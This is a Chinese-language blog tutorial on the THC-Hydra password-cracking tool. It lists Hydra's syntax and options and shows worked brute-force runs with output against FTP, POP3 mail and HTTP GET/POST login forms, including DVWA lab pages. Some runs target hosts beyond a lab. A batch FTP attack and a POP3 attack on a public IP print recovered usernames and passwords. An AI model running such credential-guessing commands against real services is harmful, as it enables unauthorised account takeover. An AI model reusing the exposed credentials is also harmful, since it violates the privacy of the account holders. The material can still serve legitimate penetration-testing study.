http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html

https://www.thc.org/thc-hydra/

语法

# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R 继续从上一次进度接着破解

-S 大写,采用SSL链接

-s <PORT>小写,可通过这个参数指定非默认端口

-l <LOGIN>指定破解的用户,对特定用户破解

-L <FILE>指定用户名字典

    -p <PASS>小写,指定密码破解,少用,一般是采用密码字典

-P <FILE>大写,指定密码字典

-e <ns>可选选项,n:空密码试探,s:使用指定用户和密码试探

-C <FILE>使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数

-M <FILE>指定目标列表文件一行一条

-o <FILE>指定结果输出文件

-f在使用-M参数以后,找到第一对登录名或者密码的时候中止破解

-t <TASKS>同时运行的线程数,默认为16

-w <TIME>设置最大超时的时间,单位秒,默认是30s

-v / -V显示详细过程

server目标ip

service
指定服务名,支持的服务和协议:telnet
ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form
http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2
smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

具体示例, 首先要备好用户名和密码列表

root@kali:~/DailyPentest/BruteForce# more user.list psswd.list
::::::::::::::
user.list
::::::::::::::
admin
root
hello
wokao
msfadmin
ccadmin
::::::::::::::
psswd.list
:::::::::::::: msfadmin
love
admin123
lovemm

破ftp/telnet/ssh等,方法类似,只要确定对方相应端口是否有打开即可进行破解

root@kali:~/DailyPentest/BruteForce# hydra -L ./user.list  -P psswd.list -e ns -t  192.168.0.102 ftp
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:17:06
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service ftp on port
[][ftp] host: 192.168.0.102 login: msfadmin password: msfadmin

利用-M参数可以批量破解主机。

ubuntu@ubuntu:~/test/tmp/hydra-7.6/bin$ ./hydra -L user.txt -P passwd.txt  -M ip1003.txt ftp
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-02 19:02:58
[WARNING] More tasks defined per server than allowed for maximal connections. Tasks reduced to .
[DATA] task, servers, login tries (l:/p:), ~ tries per task
[DATA] attacking service ftp on port
[][ftp] host: 10.0.3.90 login: root password: adcadmin
[][ftp] host: 10.0.3.90 login: p4admin password: p4admin
[][ftp] host: 10.0.3.91 login: root password: swa_123
[][ftp] host: 10.0.3.109 login: root password: adcadmin
[][ftp] host: 10.0.3.103 login: root password: adcadmin
[][ftp] host: 10.0.3.176 login: root password: adcadmin
[][ftp] host: 10.0.3.179 login: root password: adcadmin
[][ftp] host: 10.0.3.112 login: root password: adcadmin
[][ftp] host: 10.0.3.91 login: p4admin password: p42012

破解邮箱。。。

root@kali:~/DailyPentest/BruteForce# hydra -L user.list -P psswd.list  134.147.16.53 pop3
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-03 22:21:55
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service pop3 on port
[][pop3] host: 134.147.16.53 login: katestj password: 8gafgl
of target successfully completed, valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-03 22:22:46

破http post form,这个稍麻烦一点,需要抓包并按规则写下输入信息

root@kali:~/DailyPentest/BruteForce# hydra -L ~/DailyPentest/BruteForce/user.list -P ~/DailyPentest/BruteForce/psswd.list  192.168.0.102 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=1ba0d80129e941f900a95135cc49ef54"
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:23:21
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service http-get-form on port
[][www-form] host: 192.168.0.102 login: admin password:
of target successfully completed, valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-01 22:23:25

get方式提交,破解web登录

 # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
 # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

post方式提交,破解web登录:

该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。

带参数破解如下:

<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>

假设有以上一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t  -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。

对dvwa brute form界面的破解

root@kali:~/DailyPentest/BruteForce# hydra -L user.list -P psswd.list  192.168.0.104 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e"
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-03 22:14:44
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service http-get-form on port
[][www-form] host: 192.168.0.104 login: admin password:
of target successfully completed, valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-03 22:14:51

:H其实是用来手动添加Header 域的, 比如上面的我们手动添加了 :H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4, 这其实是告诉hydra每次get或者post的时候要添加上这个:H后面的头部的域。没有这个选项无法成功。。

hydra 及相关示例的更多相关文章

  1. hydra简单使用示例

    本内容为网上收集整理,仅作为备忘!! hydra简单使用示例: 破解https: # hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https ...

  2. 2019.9.25使用BP和Hydra爆破相关的服务

    使用BP和Hydra爆破相关的服务. Hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用hydra爆破c/s架构的服务.使用bp爆破web登录端口. dvwa:web应用程序漏洞演练 ...

  3. 使用BurpSuite和Hydra爆破相关的服务(9.25 第十一天)

    使用BP和Hydra爆破相关的服务 Hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用Hydra爆破C/S架构的服务. 使用BurpSuite爆破web服务 DVWA:web应用程序 ...

  4. Jquery DataTables相关示例

    一.Jquery-DataTables DataTables 是jquery的一个开源的插件.它具有高度灵活的特性,基于渐进增强的基础,可以为任何表格添加交互.它特性如下: 提供分页,搜索和多列排序: ...

  5. java 中Int和Integer区别以及相关示例

    Java是一个近乎纯洁的面向对象编程语言,但是为了编程的方便还是引入不是对象的基本数据类型,但是为了能够将这些基本数据类型当成对象操作,Java为每一个基本数据类型都引入了对应的包装类型(wrappe ...

  6. Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示

    目录管理命令ls:列出指定目录下的内容格式: ls [OPTION]... [FILE]...   -a:显示所有文件包括隐藏文件   -A:显示除.和..之外的所有文件   -l,--long:显示 ...

  7. javascript阻止事件冒泡的兼容写法及其相关示例

    //阻止事件冒泡的兼容写法 function stopBubble(e){ //如果提供了事件对象,则是一个非IE浏览器 if(e && e.stopPropagation) //因此 ...

  8. 【三小时学会Kubernetes!(零) 】系统结构及相关示例微服务介绍

    写在前面 牢牢占据容器技术统治地位的 Kubernetes,其重要性想必不言而喻,我保证本文是最详尽的 Kubernetes 技术文档,从我在后台排版了这么漫长的时间就能看出来.废话不多说 — — 以 ...

  9. PostgreSQL 增量备份详解以及相关示例

    PostgreSQL 没有类似MySQL 的二进制日志, 但是有和MySQL 类似的REDO LOG,并且有MySQL 没有的REDO 归档功能.当然REDO 的归档已经MariaDB 和Percon ...

随机推荐

  1. R语言进行数据预处理

    R语言进行数据预处理wranging li_volleyball 2016年3月22日 data wrangling with Rpackages:tidyr dplyr Ground rules l ...

  2. Qt之创建自定义类型

    摘要: 简述 当使用Qt创建用户界面时,特别是那些带有特殊控制和特征的界面时,开发者通常需要创建新数据类型来扩展或替换Qt现有的的值类型集合. 标准类型,比如:QSize.QColor和QString ...

  3. SpringMVC系列(三):REST风格

    一.什么叫REST REST:即 Representational State Transfer.(资源)表现层状态转化.是目前最流行的一种互联网软件架构.它结构清晰.符合标准.易于理解.扩展方便,所 ...

  4. maven中json-lib库无法引入

    今天在maven中引入json-lib库,intellij中的pom文件没有报错,但是在类中就是无法使用. pom依赖配置: <dependency> <groupId>net ...

  5. C#.NET MVC 枚举转dictionary自动装载生成下拉框

      /// <summary> /// 枚举转SelectListItem /// </summary> public class Enum_Helper { /// < ...

  6. zookeeper ACL使用

    生产环境中,经常会有多个项目使用zookeeper,例如多个hbase集群.每个项目搭建一套独立的zookeeper,无论从机器成本,还是运维成本,都是一笔额外的开销. 然而多项目,多集群共用zook ...

  7. HTTP 请求头与请求体 - 某熊的全栈之路 - SegmentFault

    本文从属于笔者的HTTP 理解与实践系列文章,对于HTTP的学习主要包含HTTP 基础.HTTP 请求头与请求体.HTTP 响应头与状态码.HTTP 缓存这四个部分,而对于HTTP相关的扩展与引申,我 ...

  8. u3d中 rect[2] == rt->GetGLWidth() && rect[3] == rt->GetGLHeight()错误的原因及解决方法

    原文:http://blog.csdn.net/wolf96/article/details/38363161 官方是这么解释的 http://issuetracker.unity3d.com/iss ...

  9. 【FastJSON】使用JSON.toJSONString()-解决FastJson中“$ref 循环引用”的问题

    fastjson 是一个 不错的json格式化工具, 但是在使用时,如果 碰到统一地址对象引用,就会用$ref替代 . 怎么去掉ref呢, 解决方法如下: String mapStr = JSONOb ...

  10. Java多线程——线程范围内共享变量和ThreadLocal

    多个线程访问共享对象和数据的方式 1.如果每个线程执行的代码相同,可以使用同一个Runnable对象,这个Runnable对象中有那个共享数据,例如,买票系统就可以这么做. package java_ ...